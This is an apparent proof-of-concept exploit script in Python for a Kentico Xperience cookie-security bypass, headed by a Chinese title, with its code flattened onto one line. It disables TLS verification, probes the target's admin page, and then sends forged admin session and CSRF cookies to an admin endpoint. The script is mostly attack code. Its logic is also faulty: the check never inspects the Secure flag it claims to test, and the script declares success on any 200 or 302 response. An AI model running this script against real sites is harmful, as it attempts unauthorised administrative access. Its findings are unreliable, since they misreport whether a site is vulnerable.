CVE-2024-58317: Kentico Xperience Cookie安全配置绕过漏洞

import requests import urllib3 urllib3.disable_warnings() # CVE-2024-58317 PoC - Kentico Xperience Cookie Security Configuration Bypass # Description: This PoC demonstrates the SSL requirement bypass in cookie configuration target_url = "https://TARGET_URL/" # Replace with target URL def check_vulnerability(): """ Check if the target is vulnerable to CVE-2024-58317 The vulnerability allows cookies to be set without proper SSL enforcement """ print("[*] Testing for CVE-2024-58317: Kentico Xperience Cookie Security Bypass") # Step 1: Try to access the administration login page try: response = requests.get(target_url + "admin", verify=False, timeout=10) print(f"[*] Admin page status: {response.status_code}") # Step 2: Check for cookies without Secure flag via HTTP # This simulates the bypass condition headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) PoC-Tester', 'Cookie': 'CMSPreferredCulture=en-US; CMSCsrfCookie=test' } # Step 3: Send request and analyze cookie attributes test_response = requests.get(target_url, headers=headers, verify=False, timeout=10) cookies = test_response.cookies print(f"[*] Received cookies: {len(cookies)}") for cookie_name, cookie_value in cookies.items(): print(f" - {cookie_name}: {cookie_value}") # Step 4: Check if cookies are set without Secure flag # Vulnerability exists if cookies can be set over HTTP or Secure flag is missing if 'CMSPreferredCulture' in cookies or 'CMSCsrfCookie' in cookies: print("[!] Potential vulnerability detected - Cookie configuration may be affected") return True except requests.RequestException as e: print(f"[!] Request failed: {e}") return False return False def exploit_cookie_bypass(): """ Exploit the cookie security configuration bypass Attempts to set admin cookies without proper SSL validation """ print("[*] Attempting cookie bypass exploit...") # Malicious cookie injection attempt malicious_cookies = { 'CMSAdminCookie': 'malicious_session_id', 'CMSCsrfCookie': 'csrf_token_bypass' } try: response = requests.get( target_url + "admin/cmssections/savesomething", cookies=malicious_cookies, verify=False, timeout=10 ) print(f"[*] Exploit response status: {response.status_code}") return response.status_code == 200 or response.status_code == 302 except requests.RequestException as e: print(f"[!] Exploit failed: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2024-58317 PoC - Kentico Xperience Cookie Security Bypass") print("=" * 60) if check_vulnerability(): print("[+] Target appears to be vulnerable") if exploit_cookie_bypass(): print("[!] Exploit successful - Cookie bypass confirmed") else: print("[-] Target does not appear to be vulnerable or is not reachable")